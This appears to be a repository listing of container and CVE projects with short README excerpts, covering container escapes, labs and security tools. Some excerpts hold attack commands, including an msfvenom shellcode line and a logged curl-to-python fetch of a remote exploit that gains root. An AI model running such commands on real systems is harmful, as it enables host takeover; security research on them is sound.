CVE-2023-1206-CVE-2025-40040-CVE-2024-49882

Combined Covert Channel: CVE-2023-1206 + CVE-2024-49882 Overview This project demonstrates a covert communication channel using two Linux kernel vulnerabilities: Component| CVE| Purpose ---|---|--- Sync Channel| CVE-2023-1206| Clock synchronization via IPv6 hash collision timing Data Channel|...

trivy-db

trivy-db Overview trivy-db is a CLI tool and a library to manipulate Trivy DB. Library Trivy uses trivy-db internally to manipulate vulnerability DB. This DB has vulnerability information from NVD, Red Hat, Debian, etc. CLI The trivy-db CLI tool builds vulnerability DBs. A GitHub Actions workflow...

windows

Windows !Buildbuildurl !Versiontagurl !Sizetagurl !Packagepkgurl !Pullshuburl Windows inside a Docker container. Features ✨ Runs Windows inside a Docker container Automatic download and hands-free installation Supports modern and legacy Windows releases Near-native performance with KVM accelerati...

onecli

The agent harness built for teams. A pro assistant for companies. Give every employee a secured, sandboxed personal agent. Website · Docs · Discord Quick Start Cloud-hosted: onecli.sh Self-hosted git clone https://github.com/onecli/onecli.git && cd onecli pnpm install pnpm run setup Open...

CVE-2022-0847-container-escape

CVE-2022-0847 A simple exploit that uses dirtypipe to inject shellcode into runC entrypoint to implement container escapes. Usage Produce base64 encoded shellcode using msf: $ msfvenom -p linux/x64/exec CMD="" -f base64 Compile and run in the container, the overwritten filename is the bin that ru...

minimal

139 small, hardened container images. Free, MIT-licensed, signed, and rebuilt daily. Browse the catalog → Quick start docker pull ghcr.io/rtvkiz/minimal-python:latest No account needed. Every image has a :latest-dev companion with a shell and toolchain for debugging and multi-stage builds. docker...

CVE-2018-7600

LAB 9-CVE-2018-7600 I. SYSTEM ANALYSIS Identify Attack Surface Start by listing the running containers: docker ps From the docker ps results, the container for this Lab is: p1/lab09:latest This container exposes port: 0.0.0.0:8011-80/tcp This indicates that the service inside the container is...

CVE-2024-21626-demo

CVE-2024-21626-demo Demo for the LT at Container Runtime Meetup 5. This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited. Slides Container Runtime Meetup 5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626 Loggin...

CVE-2025-9074

CVE-2025-9074 – Full Docker Escape on Windows & macOS Docker Desktop 📌 Description Docker Desktop exposes the internal Docker Engine API at http://192.168.65.7:2375 to any running container — with no authentication and no access control. Because the engine itself can mount the host filesystem, a...

honeyprompt

honeyprompt Introducing honeyprompt, an LLM-first deception framework made by/for web developers. The personal passion project of @alectrocute. Supports all major cloud and local LLM providers. SSH, HTTP, TLS, TCP, telnet and more. It ships as a small container and a single static binary and keep...

CopyEscape-CVE-2026-17106

CopyEscape: Taking Over Docker Hosts with docker cp CVE-2026-17106 This is the proof-of-concept repository for the blog post CopyEscape: Taking Over Docker Hosts withdocker cp — CVE-2026-17106. CopyEscape allows a malicious running container to race Docker's archive producer and create an...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab This repo is a tiny Docker lab to compare a vulnerable vs patched build of MCPJam Inspector for CVE-2026-23744. It’s meant for learning and for building a public security portfolio: quick setup, clear evidence, and screenshots. ⚠️ Ethics / scope : Only...

CVE-2019-16097

CVE-2019-16097 Harbor Unauthorized Admin Creation Vulnerability Principle docker and poc based on pocsuite framework...

mxc

MXC SDK samples Audience: MXC consumers These samples demonstrate the supported V1 SDK surfaces in Rust, .NET, and Node. They are organized by scenario so equivalent operations are easy to compare while each implementation remains idiomatic for its language. Scenario| Purpose| Rust| .NET| Node...

cved

CVED A tool to manage vulnerable docker containers INSTALLATION qt = 5.x docker git qmake make sudo make install USAGE Create the docker group if it doesn't already exist. sudo groupadd docker Add your user to the docker group. sudo usermod -aG docker $USER Log out and log back in so that your...

CVE-2022-24481-POC

CVE-2022-24481-POC TL;DR This poc is reversed from expSHA1:fec933b0c46366a1fb272bfaf82a8262597a8d75 and many AV engine detected it as CVE-2022-24521. After analyze it, I find that it maybe the exp for CVE-2022-24481, bacause CVE-2022-24521 is not a type confusion vulnerability. The bug cause by...

Elkeid

Elkeid - Bytedance Cloud Workload Protection Platform English | 简体中文 Elkeid is an open source solution that can meet the security requirements of various workloads such as hosts, containers and K8s, and serverless. It is derived from ByteDance's internal best practices. With the business...

CVE-2026-31431-Container-Escape

CVE-2026-31431 Container Escape Container escape via runC...

CVE-2026-31431-Copy-Fail-Container-Escape

CVE-2026-31431-Copy-Fail-Container-Escape Demo https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e Prerequisite Container vulnerable to CVE-2026-31431 Container healthcheck configured and healthcheck CMD known Obtained root access inside the container if not, you can...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...